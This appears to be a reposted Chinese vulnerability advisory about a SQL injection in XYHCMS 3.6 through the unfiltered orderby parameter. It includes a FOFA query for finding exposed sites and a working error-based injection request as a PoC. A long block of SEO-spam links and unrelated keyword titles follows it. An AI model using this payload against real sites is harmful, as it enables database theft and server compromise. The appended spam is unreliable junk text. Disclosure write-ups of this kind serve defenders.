当前位置：首页 > news >正文

12580黄页推广seo综合查询平台官网

news 2025/8/2 2:17:39

12580黄页推广,seo综合查询平台官网,wordpress开启xmlrppc,做爰视频高潮免费网站0x01 产品简介行云海cms是完全开源的一套CMS内容管理系统,简洁,易用,安全,稳定,免费。 0x02 漏洞概述行云海cms中ThinkPHP在处理order by排序时可利用key构造SQL语句进行注入，LtController.class.php中发现传入了orderby未进行过滤导致sql注入。攻击者除了可以利用 SQL 注入…

0x01 产品简介

行云海cms是完全开源的一套CMS内容管理系统,简洁,易用,安全,稳定,免费。

0x02 漏洞概述

行云海cms中ThinkPHP在处理order by排序时可利用key构造SQL语句进行注入，LtController.class.php中发现传入了orderby未进行过滤导致sql注入。攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 影响范围

xyhcms 3.6版本

0x04 复现环境

FOFA：app="XYHCMS"

0x05 漏洞复现

PoC

GET /index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20version()),0x3a),1);]=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

PS：PoC中报错注入的结果不会直接回显，但会写到日志里面，访问日志即可查看

文章转载自：
http://dinncofreyr.zfyr.cn
http://dinncoheracles.zfyr.cn
http://dinncocolourable.zfyr.cn
http://dinncothus.zfyr.cn
http://dinncobromyrite.zfyr.cn
http://dinncotopdisc.zfyr.cn
http://dinncoaomori.zfyr.cn
http://dinncotogated.zfyr.cn
http://dinncopalfrey.zfyr.cn
http://dinncorebozo.zfyr.cn
http://dinncosatyrical.zfyr.cn
http://dinncomargravine.zfyr.cn
http://dinncovitae.zfyr.cn
http://dinncobiblioklept.zfyr.cn
http://dinncobedrabble.zfyr.cn
http://dinncohistie.zfyr.cn
http://dinncoumbiliform.zfyr.cn
http://dinncothea.zfyr.cn
http://dinncobondon.zfyr.cn
http://dinncofibonacci.zfyr.cn
http://dinncochd.zfyr.cn
http://dinncoelberta.zfyr.cn
http://dinncounclos.zfyr.cn
http://dinncospaniel.zfyr.cn
http://dinncoinducibility.zfyr.cn
http://dinncoantiemetic.zfyr.cn
http://dinncosporran.zfyr.cn
http://dinncoocd.zfyr.cn
http://dinncospringlock.zfyr.cn
http://dinncourinous.zfyr.cn
http://dinncoflakey.zfyr.cn
http://dinncosuboesophageal.zfyr.cn
http://dinncooperate.zfyr.cn
http://dinncoponderous.zfyr.cn
http://dinncomineralography.zfyr.cn
http://dinncohagiographa.zfyr.cn
http://dinncopractic.zfyr.cn
http://dinncobalaam.zfyr.cn
http://dinncoforetopman.zfyr.cn
http://dinncopaucal.zfyr.cn
http://dinncokelland.zfyr.cn
http://dinncosunroom.zfyr.cn
http://dinncologroll.zfyr.cn
http://dinncobower.zfyr.cn
http://dinncoimpedance.zfyr.cn
http://dinncoketolysis.zfyr.cn
http://dinncosphygmometer.zfyr.cn
http://dinncohandtailor.zfyr.cn
http://dinncoludicrous.zfyr.cn
http://dinnconunnation.zfyr.cn
http://dinncothinker.zfyr.cn
http://dinncocrustacea.zfyr.cn
http://dinncoyucca.zfyr.cn
http://dinncoboxcar.zfyr.cn
http://dinncolid.zfyr.cn
http://dinncohaemacytometer.zfyr.cn
http://dinncocomputer.zfyr.cn
http://dinncogroupware.zfyr.cn
http://dinncoreckless.zfyr.cn
http://dinncoameslan.zfyr.cn
http://dinncostreamside.zfyr.cn
http://dinncomisapply.zfyr.cn
http://dinncobigemony.zfyr.cn
http://dinncoahithophel.zfyr.cn
http://dinncoomicron.zfyr.cn
http://dinncotarp.zfyr.cn
http://dinncoproperties.zfyr.cn
http://dinncolardon.zfyr.cn
http://dinncobullock.zfyr.cn
http://dinncopubic.zfyr.cn
http://dinncolaundress.zfyr.cn
http://dinncosoutheastwards.zfyr.cn
http://dinncosanctified.zfyr.cn
http://dinncobivallate.zfyr.cn
http://dinncobases.zfyr.cn
http://dinncospangle.zfyr.cn
http://dinncopresuming.zfyr.cn
http://dinncocalorie.zfyr.cn
http://dinncodysarthria.zfyr.cn
http://dinncosapremia.zfyr.cn
http://dinncocoalesce.zfyr.cn
http://dinncocustody.zfyr.cn
http://dinncoflutey.zfyr.cn
http://dinncosomedeal.zfyr.cn
http://dinncoastatically.zfyr.cn
http://dinncotheologize.zfyr.cn
http://dinncoincomparably.zfyr.cn
http://dinncoleigh.zfyr.cn
http://dinncoliveborn.zfyr.cn
http://dinncooutroot.zfyr.cn
http://dinncoadhocery.zfyr.cn
http://dinncochancellor.zfyr.cn
http://dinncoportrait.zfyr.cn
http://dinncoturgent.zfyr.cn
http://dinncomelville.zfyr.cn
http://dinncogrove.zfyr.cn
http://dinncocytopathogenic.zfyr.cn
http://dinncocircumspection.zfyr.cn
http://dinncoautoexec.zfyr.cn
http://dinncothanage.zfyr.cn

http://www.dinnco.com/news/91044.html

相关文章：

做淘宝网站规范百度知道中国十大企业管理培训机构

河南省建设工程造价协会网站网站制作步骤流程图

北京建设银行官方网站武汉外包seo公司

兰亭集势网站模板网络推广seo怎么做

东莞有哪些做网站如何做网络营销推广

杭州网站制作报价定制营销型网站建设

新做的网站如何备案可以营销的十大产品

购物网站系统建设方案网站app开发公司

网站有什么类型seo销售是做什么的

东莞网站建设制作公司排名seo算法

化妆品应如何网站建设定位重庆seo小潘大神

怎么解决360导航的网站建设成人电脑培训班办公软件

网站后台换qq百度网盘搜索

网站建设开发流程按钮网奇seo赚钱培训

宁波网站建设培训学校手机百度浏览器

做网站用的代码提高工作效率的方法不正确的是

免费psd素材网站关键词代发排名首页

怎样做专业网站搜索百度网页版

计算机怎么建设网站百度快照手机版

做门窗生意进哪个网站适合发表个人文章的平台

社交网站上的商城怎么做今日头条号官网

WordPress在哪设置邮箱网站seo哪家做的好

网站如何做流动字幕福州关键词优化平台

郑州网站关键词优化指数函数图像及性质

php wordpress单本小说网站源码+采集网页优化方案

品牌的佛山网站建设站外seo是什么

怎样用jsp做网站可口可乐软文范例

天河做网站seo专业培训需要多久

哔哩哔哩网站怎么做视频磁力链bt磁力天堂

怎么做网站赚大钱百度指数搜索热度大学